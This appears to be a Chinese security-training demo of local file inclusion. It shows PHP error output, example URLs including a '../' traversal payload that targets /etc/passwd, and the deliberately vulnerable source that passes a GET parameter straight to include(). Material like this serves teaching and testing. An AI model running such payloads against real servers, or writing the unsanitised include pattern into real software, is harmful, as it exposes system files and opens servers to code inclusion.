文件包含演示-本地文件包含


Warning: include(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/www/wwwroot/www.nanhack.com/:/tmp/) in /home/wwwroot/www.nanhack.com/payload/include/include1.php on line 39

Warning: include(/etc/passwd): failed to open stream: Operation not permitted in /home/wwwroot/www.nanhack.com/payload/include/include1.php on line 39

Warning: include(): Failed opening '../../../../../../../../../../../etc/passwd' for inclusion (include_path='.:/www/server/php/70/lib/php') in /home/wwwroot/www.nanhack.com/payload/include/include1.php on line 39

包含phpinfo文件

http://www.nanhack.com/payload/include/include1.php?page=php.txt

包含ect/passwd

http://www.nanhack.com/payload/include/include1.php?page=../../../../../../../../../../../etc/passwd

(配置文件:open_basedir限制包含的路径:(/www/wwwroot/www.nanhack.com/:/tmp/) ,所以这里无法展示,但不是所有的程序都会限制的)
# 程序源码如下:
<?php if(isset($_GET['page'])){
$path = $_GET['page'];
    include $path;
}else{
    include "home.php";
}
?>
© Copyright 2021 版权所有(一极教育科技有限公司)   津公网安备 12011602000477号 津ICP备17008032号-2  
本站一切信息皆遵守中华人民共和国法律,如发现任何不良信息,请拨打电话:18622800700
网络安全培训、企业合作、院校合作: 15320004362(手机同微信)